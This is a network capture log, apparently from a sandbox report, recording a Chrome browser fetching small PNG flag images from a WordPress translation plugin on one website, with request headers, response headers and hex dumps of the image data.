2025-01-15 02:37:14 UTC	266	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 0c 08 02 00 00 00 e0 70 7a eb 00 00 00 2b 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 77 6f 20 32 38 20 64 65 63 20 32 30 30 35 20 31 32 3a 33 37 3a 31 34 20 2b 30 31 30 30 f3 7f 4e c8 00 00 00 07 74 49 4d 45 07 d5 0c 1c 0b 2f 15 22 8c 11 7d 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 62 49 44 41 54 78 da bd 91 c1 0a 80 30 0c 43 33 f1 ff ff 4f f0 a2 47 d9 98 8e 1d 85 da 09 9d 1e 53 0f 86 5c 5a 78 a4 34 41 04 0e 9d 40 6e 1e 9f 15 c3 57 a0 40 4a c7 16 3a f0 40 dc 31 b0 39 a6 94 3b e6 d7 47 2c dc 27 aa 57 1a 99 f5 95 3f 1f e9 6a 5b 35 01 1b 5e 75 27 82 89 e6 86 89 0d 24 a6 69 17 04 e0 22 e8 5f b2 9f 41 00 Data Ascii: PNGIHDRpz+tEXtCreation Timewo 28 dec 2005 12:37:14 +0100NtIME/"}pHYs~gAMAabIDATx0C3OGS\Zx4A@nW@J:@19;G,'W?j[5^u'$i"_A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49853	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:14 UTC	1035	OUT	GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/ary.png HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:14 UTC	392	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:14 GMT Content-Type: image/png Content-Length: 15167 Last-Modified: Sat, 26 Oct 2024 07:40:32 GMT Connection: close ETag: "671c9cf0-3b3f" Expires: Thu, 15 Jan 2026 02:37:14 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:14 UTC	15167	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 0c 08 02 00 00 00 e0 70 7a eb 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 39 ec 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 32 31 20 37 39 2e 31 35 35 37 37 32 2c 20 32 30 31 34 2f 30 31 2f 31 33 2d 31 39 3a 34 34 3a 30 30 20 20 20 20 20 20 20 20 22 3e 0a 20 20 20 3c 72 64 66 Data Ascii: PNGIHDRpzpHYs9iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?><x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-19:44:00 "> <rdf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49852	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:14 UTC	1037	OUT	GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/bn_BD.png HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:14 UTC	389	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:14 GMT Content-Type: image/png Content-Length: 376 Last-Modified: Sat, 26 Oct 2024 07:40:32 GMT Connection: close ETag: "671c9cf0-178" Expires: Thu, 15 Jan 2026 02:37:14 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:14 UTC	376	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 0c 08 02 00 00 00 e0 70 7a eb 00 00 00 2b 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 77 6f 20 32 38 20 64 65 63 20 32 30 30 35 20 31 33 3a 32 35 3a 34 36 20 2b 30 31 30 30 34 ed 87 fd 00 00 00 07 74 49 4d 45 07 d5 0c 1c 0c 1c 26 6c 78 03 de 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 d0 49 44 41 54 78 da 63 64 98 cd c0 f0 93 81 e1 07 98 24 08 80 ca be 83 48 16 90 6a 20 fa 85 aa ed 3f 98 64 c4 d0 f6 13 8a 58 40 06 00 f5 bc 84 8a 73 fe 61 98 76 98 21 e1 06 03 c3 5f 86 bd 8a 0c 09 f6 0c 4f 78 30 74 fe 00 1a d8 0a 66 7d 84 5a 72 60 0b 83 fd 3d 84 9a 0f fc 0c 32 d1 0c 5f 59 91 b4 bd 03 69 63 42 36 c8 fe 05 Data Ascii: PNGIHDRpz+tEXtCreation Timewo 28 dec 2005 13:25:46 +01004tIME&lxpHYs~gAMAaIDATxcd$Hj ?dX@sav!_Ox0tf}Zr`=2_YicB6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49856	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:14 UTC	1037	OUT	GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/tr_TR.png HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:14 UTC	389	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:14 GMT Content-Type: image/png Content-Length: 317 Last-Modified: Sat, 26 Oct 2024 07:40:32 GMT Connection: close ETag: "671c9cf0-13d" Expires: Thu, 15 Jan 2026 02:37:14 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:14 UTC	317	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 0c 08 02 00 00 00 e0 70 7a eb 00 00 00 2b 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 7a 61 20 33 31 20 64 65 63 20 32 30 30 35 20 31 37 3a 30 34 3a 33 36 20 2b 30 31 30 30 b5 04 0b 52 00 00 00 07 74 49 4d 45 07 d5 0c 1f 10 0b 29 fe cd 6f 23 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 95 49 44 41 54 78 da 9d 91 cb 0d 83 30 10 44 07 84 64 0e 9c 40 d4 06 7d d0 0f 60 ae f4 13 29 2d 04 47 2e 61 58 f3 0b 16 39 80 47 73 19 69 9f c6 eb 8d 88 10 c5 01 0c c3 30 e3 61 4a 41 6b 58 8b b6 45 55 b9 f8 4f df 05 73 8d 9b fb 9e d3 c4 3c df a2 52 2c 4b 9e 07 16 0b f3 f2 30 51 d3 fc 62 96 71 1c 39 0c 4c d3 2b 16 b2 1b bc Data Ascii: PNGIHDRpz+tEXtCreation Timeza 31 dec 2005 17:04:36 +0100RtIME)o#pHYs~gAMAaIDATx0Dd@}`)-G.aX9Gsi0aJAkXEUOs<R,K0Qbq9L+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49854	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:14 UTC	1037	OUT	GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/ta_LK.png HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:14 UTC	389	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:14 GMT Content-Type: image/png Content-Length: 600 Last-Modified: Sat, 26 Oct 2024 07:40:32 GMT Connection: close ETag: "671c9cf0-258" Expires: Thu, 15 Jan 2026 02:37:14 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:14 UTC	600	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 0c 08 03 00 00 00 58 cc 1d 8e 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 db 50 4c 54 45 d6 00 00 d7 0b 00 cf 02 00 f0 a6 00 d8 00 00 61 00 00 af 0a 00 d5 00 00 d8 03 00 c1 06 00 bb 04 00 d2 08 00 d4 09 00 b2 01 00 b9 00 00 d7 00 00 e1 3f 00 e9 6e 00 bd 56 00 b2 93 00 cc 9a 04 3b 15 0b 79 00 00 db 00 00 d7 07 00 d8 09 00 e1 7b 00 6c 48 11 43 34 0c 6b 5e 00 79 07 00 dc 03 00 e2 43 00 e9 78 00 5c 06 05 a9 23 22 f3 d8 a4 d8 b9 03 d4 b9 00 e3 3f 00 e7 47 00 96 81 00 61 5a 5c e5 d9 c4 e1 c3 1d fa d3 00 fb de 00 e1 41 00 e0 39 00 fa d1 06 6a 53 0b b2 Data Ascii: PNGIHDRXgAMAa cHRMz&u0`:pQ<PLTEa?nV;y{lHC4k^yCx\#"?GaZ\A9jS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	49855	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:14 UTC	1037	OUT	GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/uz_UZ.png HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:14 UTC	389	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:14 GMT Content-Type: image/png Content-Length: 391 Last-Modified: Sat, 26 Oct 2024 07:40:32 GMT Connection: close ETag: "671c9cf0-187" Expires: Thu, 15 Jan 2026 02:37:14 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:14 UTC	391	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 0c 08 02 00 00 00 e0 70 7a eb 00 00 00 2b 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 7a 61 20 33 31 20 64 65 63 20 32 30 30 35 20 31 37 3a 31 33 3a 34 38 20 2b 30 31 30 30 cc ac bd af 00 00 00 07 74 49 4d 45 07 d5 0c 1f 10 14 36 be 9f 6c 48 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 df 49 44 41 54 78 da 8d 8e c1 6a c2 40 18 84 bf 8d 1b 83 b5 a5 50 f0 50 f2 1e 39 fa b8 3d f7 39 7a ef c1 43 a9 0d 88 18 48 a3 c9 26 b2 71 37 db 24 ad 87 82 e2 0e 73 f8 07 e6 e3 1f c1 ce 3d 39 1e 5b 3e b7 3c cf 99 4b 5a 4b aa b8 ac ca 50 15 bd 25 47 96 0b 5e df 99 6a ee 24 4d 8d 71 d0 b8 cb 58 a3 68 ca de 92 8a 6e 06 1f 5f Data Ascii: PNGIHDRpz+tEXtCreation Timeza 31 dec 2005 17:13:48 +0100tIME6lHpHYs~gAMAaIDATxj@PP9=9zCH&q7$s=9[><KZKP%G^j$MqXhn_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	49857	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:14 UTC	789	OUT	GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/ru_RU.png HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:14 UTC	388	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:14 GMT Content-Type: image/png Content-Length: 241 Last-Modified: Sat, 26 Oct 2024 07:40:32 GMT Connection: close ETag: "671c9cf0-f1" Expires: Thu, 15 Jan 2026 02:37:14 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:14 UTC	241	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 0c 08 02 00 00 00 e0 70 7a eb 00 00 00 2b 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 7a 61 20 33 31 20 64 65 63 20 32 30 30 35 20 31 36 3a 34 30 3a 33 32 20 2b 30 31 30 30 25 ef 25 3c 00 00 00 07 74 49 4d 45 07 d5 0c 1f 0f 2d 29 2a 69 08 4a 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 49 49 44 41 54 78 da 63 fc ff ff 3f 03 e9 80 89 0c 3d 40 9b c8 d1 f6 e6 cd 1b 92 b5 bd 7d fb 16 a8 8d 85 91 91 0c fb c8 f2 1b dd b5 31 92 1a 6b 6f 19 18 5e 91 61 db 1b 30 62 41 36 86 48 3d 50 6d ff 61 1c 22 b5 01 1d 09 00 c6 ea 1c 60 10 0a 9d 81 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRpz+tEXtCreation Timeza 31 dec 2005 16:40:32 +0100%%<tIME-)*iJpHYs~gAMAaIIDATxc?=@}1ko^a0bA6H=Pma"`IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	49858	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:14 UTC	789	OUT	GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/pt_BR.png HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:14 UTC	389	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:14 GMT Content-Type: image/png Content-Length: 560 Last-Modified: Sat, 26 Oct 2024 07:40:32 GMT Connection: close ETag: "671c9cf0-230" Expires: Thu, 15 Jan 2026 02:37:14 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:14 UTC	560	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 0c 08 02 00 00 00 e0 70 7a eb 00 00 00 2b 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 77 6f 20 32 38 20 64 65 63 20 32 30 30 35 20 31 33 3a 33 32 3a 31 35 20 2b 30 31 30 30 6e b7 57 bd 00 00 00 07 74 49 4d 45 07 d5 0c 1c 0c 24 3a 6f e6 e3 6a 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 01 88 49 44 41 54 78 da 63 64 98 cd c0 f0 93 81 e1 07 98 24 08 80 ca be 83 48 16 90 6a 20 fa 85 ae 2d c2 94 41 94 9f 61 f2 1e 54 6d 3f a1 88 05 64 00 50 cf 4b 84 94 9c 30 c3 fc 04 06 27 59 10 3b 59 8b 21 7a 1e c3 d5 a7 a8 3a 7f 30 30 41 5d 08 06 ac 2c 0c 0d 7e 0c 0f 6b 39 b7 f4 b7 09 08 5c e1 e3 bb 36 a3 a6 ef 4a 29 ef 94 28 Data Ascii: PNGIHDRpz+tEXtCreation Timewo 28 dec 2005 13:32:15 +0100nWtIME$:ojpHYs~gAMAaIDATxcd$Hj -AaTm?dPK0'Y;Y!z:00A],~k9\6J)(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	49859	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:15 UTC	786	OUT	GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/vi.png HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:15 UTC	389	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:15 GMT Content-Type: image/png Content-Length: 454 Last-Modified: Sat, 26 Oct 2024 07:40:32 GMT Connection: close ETag: "671c9cf0-1c6" Expires: Thu, 15 Jan 2026 02:37:15 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:15 UTC	454	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 0c 08 06 00 00 00 6f 12 ed bc 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 07 74 49 4d 45 07 da 02 19 04 04 2f e0 14 8e 1d 00 00 01 31 49 44 41 54 38 4f 63 bc a5 2a fb 9f 81 1a 00 64 10 5e ac 2c fb ff a6 82 1c 7e 35 20 c7 10 32 e4 8e 81 f4 ff fb ce 92 ff 6f 29 e1 b7 10 bb 41 20 57 c8 c9 fd bf 2e 24 ff ff 71 b4 d8 ff 4f eb b9 fe df 90 90 ff 7f 43 46 0e a7 eb 30 0d 02 1a 72 c7 48 fa ff 03 77 09 20 2d f3 ff fd 7c de ff 7f bf 32 fe 7f e8 2b f1 ff 9e ad d4 ff fb 4e 40 d7 a9 01 5d a7 82 ea 42 0c 83 6e 2a ca fd bf Data Ascii: PNGIHDRosRGBgAMAa cHRMz&u0`:pQ<tIME/1IDAT8Ocd^,~5 2o)A W.$qOCF0rHw -\|2+N@]Bn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	49862	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:15 UTC	786	OUT	GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/ar.png HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:15 UTC	389	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:15 GMT Content-Type: image/png Content-Length: 474 Last-Modified: Sat, 26 Oct 2024 07:40:32 GMT Connection: close ETag: "671c9cf0-1da" Expires: Thu, 15 Jan 2026 02:37:15 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
